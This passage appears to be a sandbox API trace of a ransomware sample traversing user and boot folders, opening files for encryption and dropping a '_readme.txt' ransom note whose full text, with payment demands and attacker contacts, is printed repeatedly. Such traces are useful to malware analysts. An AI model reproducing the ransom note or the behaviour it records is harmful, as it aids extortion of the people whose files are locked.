[0266.535] PathFindFileNameW (pszPath="") returned="" [0266.535] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.547] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0266.547] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.548] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.548] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.548] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="MSN Websites\\" [0266.548] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0266.548] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.548] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.548] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.548] PathFindFileNameW (pszPath="") returned="" [0266.548] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.550] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.551] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.551] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="Windows Live\\" [0266.551] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0266.551] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.551] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.551] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.551] PathFindFileNameW (pszPath="") returned="" [0266.551] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.553] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.553] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.553] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\") returned="7SLVf8\\" [0266.554] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0266.554] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.554] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.554] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.554] PathFindFileNameW (pszPath="") returned="" [0266.554] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd98a3fe0, ftCreationTime.dwHighDateTime=0x1d4c8e1, ftLastAccessTime.dwLowDateTime=0x4f5656e0, ftLastAccessTime.dwHighDateTime=0x1d4caa5, ftLastWriteTime.dwLowDateTime=0x4f5656e0, ftLastWriteTime.dwHighDateTime=0x1d4caa5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.557] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.558] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.558] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\") returned="io8_8GuAwtxmu\\" [0266.558] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0266.558] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.558] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.558] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.558] PathFindFileNameW (pszPath="") returned="" [0266.558] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b8bec0, ftCreationTime.dwHighDateTime=0x1d4c9e5, ftLastAccessTime.dwLowDateTime=0xeb624c70, ftLastAccessTime.dwHighDateTime=0x1d4d396, ftLastWriteTime.dwLowDateTime=0xeb624c70, ftLastWriteTime.dwHighDateTime=0x1d4d396, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.565] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.566] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.566] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\") returned="kQOrnOQ\\" [0266.566] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0266.566] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.566] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.566] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.566] PathFindFileNameW (pszPath="") returned="" [0266.566] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd2ddb20, ftCreationTime.dwHighDateTime=0x1d4d0f2, ftLastAccessTime.dwLowDateTime=0x13d19350, ftLastAccessTime.dwHighDateTime=0x1d4d0ef, ftLastWriteTime.dwLowDateTime=0x13d19350, ftLastWriteTime.dwHighDateTime=0x1d4d0ef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.568] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.569] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.569] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.569] PathFindFileNameW (pszPath="") returned="" [0266.569] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.921] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.921] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.921] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.921] PathAppendW (in: pszPath="C:\\", pMore="_readme.txt" | out: pszPath="C:\\_readme.txt") returned 1 [0266.921] PathFileExistsW (pszPath="C:\\_readme.txt") returned 1 [0266.922] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x30914e0 [0266.922] PathFindExtensionW (pszPath="C:\\bootmgr") returned="" [0266.922] PathFindExtensionW (pszPath="C:\\BOOTSECT.BAK") returned=".BAK" [0266.922] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.923] PathFindExtensionW (pszPath="C:\\hiberfil.sys") returned=".sys" [0266.924] PathFindExtensionW (pszPath="C:\\pagefile.sys") returned=".sys" [0266.924] PathFindExtensionW (pszPath="C:\\_readme.txt") returned=".txt" [0266.924] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.924] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.924] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab958 [0266.924] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.924] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0266.924] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773e0 [0266.924] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.924] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.924] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.924] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.924] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.924] PathFindFileNameW (pszPath="") returned="" [0266.924] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.924] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.925] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.925] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0266.925] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.925] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x31099a8 [0266.925] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.925] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.925] PathAppendW (in: pszPath="C:\\Boot\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\_readme.txt") returned 1 [0266.925] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.925] PathFileExistsW (pszPath="C:\\Boot\\_readme.txt") returned 0 [0266.925] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x311b6f8 [0266.926] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.926] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.926] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.926] CreateFileW (lpFileName="C:\\Boot\\_readme.txt" (normalized: "c:\\boot\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.926] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.926] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311b6f8 | out: hHeap=0x640000) returned 1 [0266.926] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.926] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.927] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.927] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.927] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.927] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0xc31d1c60, ftLastWriteTime.dwHighDateTime=0x1d50369, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0266.927] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.927] PathFindExtensionW (pszPath="C:\\Boot\\BCD") returned="" [0266.927] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.927] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0266.927] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.927] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG") returned=".LOG" [0266.927] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.927] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.927] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0266.927] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.927] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab798 [0266.927] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.927] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG1") returned=".LOG1" [0266.927] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.928] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab798 | out: hHeap=0x640000) returned 1 [0266.928] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0266.928] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.928] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab798 [0266.928] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.928] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG2") returned=".LOG2" [0266.928] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.928] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab798 | out: hHeap=0x640000) returned 1 [0266.928] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0266.928] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.928] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab798 [0266.928] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.928] PathFindExtensionW (pszPath="C:\\Boot\\BOOTSTAT.DAT") returned=".DAT" [0266.928] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.928] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab798 | out: hHeap=0x640000) returned 1 [0266.928] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, 